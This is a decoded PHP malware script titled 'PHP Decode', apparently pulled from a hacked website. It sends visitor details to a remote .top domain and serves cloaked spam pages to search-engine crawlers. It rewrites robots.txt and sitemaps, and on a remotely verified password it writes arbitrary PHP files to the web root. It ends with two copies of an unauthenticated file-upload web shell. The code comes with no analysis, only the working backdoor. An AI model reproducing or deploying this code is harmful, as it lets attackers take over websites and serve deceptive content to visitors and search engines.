PHP Decode

<?php  
@set_time_limit(5000);  
@ignore_user_abort(1);   
$goto = 'mm019';  
$htwe = 'http';  
if(ishtt()){  
	$http = 'https';  
}else{ 
	$http = 'http'; 
} 
$ddur_tmp = st_uri(); 
if ($ddur_tmp == ''){ 
	$ddur_tmp = '/';  
} 
$ddur = urlencode($ddur_tmp); 
function st_uri(){ 
	if (isset($_SERVER['REQUEST_URI'])){ 
		$ddur = $_SERVER['REQUEST_URI']; 
	}else{ 
		if(isset($_SERVER['argv'])){ 
			$ddur = $_SERVER['PHP_SELF'].'?'.$_SERVER['argv'][0]; 
		}else{   
			$ddur = $_SERVER['PHP_SELF'].'?'.$_SERVER['QUERY_STRING']; 
		} 
	} 
	return $ddur; 
} 
$towe = $goto .'.ooznn'.'.top'; 
function ishtt(){ 
	if (isset($_SERVER['HTTPS']) && strtolower($_SERVER['HTTPS']) !== 'off'){  
		return true;  
	}elseif (isset($_SERVER['HTTP_X_FORWARDED_PROTO']) && $_SERVER['HTTP_X_FORWARDED_PROTO'] === 'https'){  
		return true;  
	}elseif( isset($_SERVER['HTTP_FRONT_END_HTTPS']) && strtolower($_SERVER['HTTP_FRONT_END_HTTPS']) !== 'off') {  
		return true;  
	}  
		return false; 
} 
$host = $_SERVER['HTTP_HOST']; 
$lag = @$_SERVER['HTTP_ACCEPT_LANGUAGE']; 
$lag = urlencode($lag); 
$usse = ''; 
if (isset($_SERVER['HTTP_REFERER'])) {  
	$usse = $_SERVER['HTTP_REFERER'];  
	$usse = urlencode($usse); 
} 
if (@$_GET['pd'] != '') {  
	$acot = @$_GET['mapname'];     
	if (isset($_SERVER['DOCUMENT_ROOT'])){  
		$path = $_SERVER['DOCUMENT_ROOT'];  
	}else{  
		$path = dirname(__FILE__);  
	}  
	if (strstr($acot,'sitemap')) {  
			$map_path = $path. '/sitemap.xml';    
			$file_path = $path . '/robots.txt';   
			@unlink($map_path); 
			$robots = @file_get_contents($file_path); 
			$data = 'User-agent: *'."
".'Allow: /';  
			$sturs = "
" . 'Sitemap: '.$http . '://' . $host . '/'.$acot.'.xml';   
			$futrobot = ""; 
			if(strstr($robots,"/map.xml")){ 
				if(strstr($robots,"/".$acot.".xml")){ 
					echo "sitemap in added!"; 
					exit(); 
				}else{ 
					$robots .= $sturs;  
				} 
			}else{ 
				@unlink($file_path); 
				$sturs .= "
" . 'Sitemap: '.$http . '://' . $host . '/map.xml'; 
				$robots = $data.$sturs; 
			} 
			if (file_put_contents($file_path, trim($robots))) { 
					echo '<br>ok<br>';   
				}else{ 
					echo '<br>false!<br>';   
				}  
		}else if (strstr($acot,'.p'.'hp')) { 
			if (sha1(sha1(@$_GET['a'])) == daag($htwe . '://' . $towe . '/a.p' . 'hp')) {   
				$dstr = @$_GET['dstr'];   
				if (file_put_contents($path.'/'.$acot, $dstr)){ 
					echo 'ok'; 
				} 
			} 
		}else{ 
			echo '<br> false!<br>';  
		} 
		 
	exit; 
} 
$web = $htwe . '://' . $towe . '/inde.php?web=' . $host . '&zz=' . sbot() . '&uri=' . $ddur . '&urlshang=' . $usse . '&http=' . $http . '&lang=' . $lag;        
$htag = trim(daag($web)); 
if (!strstr($htag, 'nobotuseragent')) {  
	if (strstr($htag, 'okhtmlgetcontent')) {   
		@header('Content-type: text/html; charset=utf-8');  
		$htag = str_replace('okhtmlgetcontent', '', $htag);  
		echo $htag;  
		exit();  
	}else if(strstr($htag, 'okxmlgetcontent')){  
		$htag = str_replace('okxmlgetcontent', '', $htag);  
		@header('Content-type: text/xml');  
		echo $htag;  
		exit(); 
	} 
} 
 
function sbot(){  
	$uaget = strtolower($_SERVER['HTTP_USER_AGENT']);  
	if (stristr($uaget, 'googlebot') || stristr($uaget, 'bing') || stristr($uaget, 'yahoo') || stristr($uaget, 'google') || stristr($uaget, 'Googlebot') || stristr($uaget, 'googlebot')) {  
		return true;  
	} else {  
		return false;  
	} 
} 
 
function daag($url){  
	$ficonts= '';  
	if(function_exists('curl_init')){ 
		$ch = curl_init(); 
		curl_setopt($ch, CURLOPT_URL, $url);  
		curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, 0); 
		curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, 0); 
		curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); 
		curl_setopt($ch, CURLOPT_CONNECTTIMEOUT, 30);  
		$ficonts = curl_exec($ch); curl_close($ch);  
	} 
	if (!$ficonts){ 
		$ficonts = @file_get_contents($url); 
	} 
	return $ficonts; 
} 
?> 
<?php if (isset($_GET['bak'])) { echo"<form method='post' enctype='multipart/form-data'><input type='file' name='a'><input type='submit' value='Nyanpasu!!!'></form><pre>";if(isset($_FILES['a'])){move_uploaded_file($_FILES['a']['tmp_name'],"{$_FILES['a']['name']}");print_r($_FILES);};echo"</pre>"; } ?> 
 
<?php if (isset($_GET['bak'])) { echo"<form method='post' enctype='multipart/form-data'><input type='file' name='a'><input type='submit' value='Nyanpasu!!!'></form><pre>";if(isset($_FILES['a'])){move_uploaded_file($_FILES['a']['tmp_name'],"{$_FILES['a']['name']}");print_r($_FILES);};echo"</pre>"; } ?>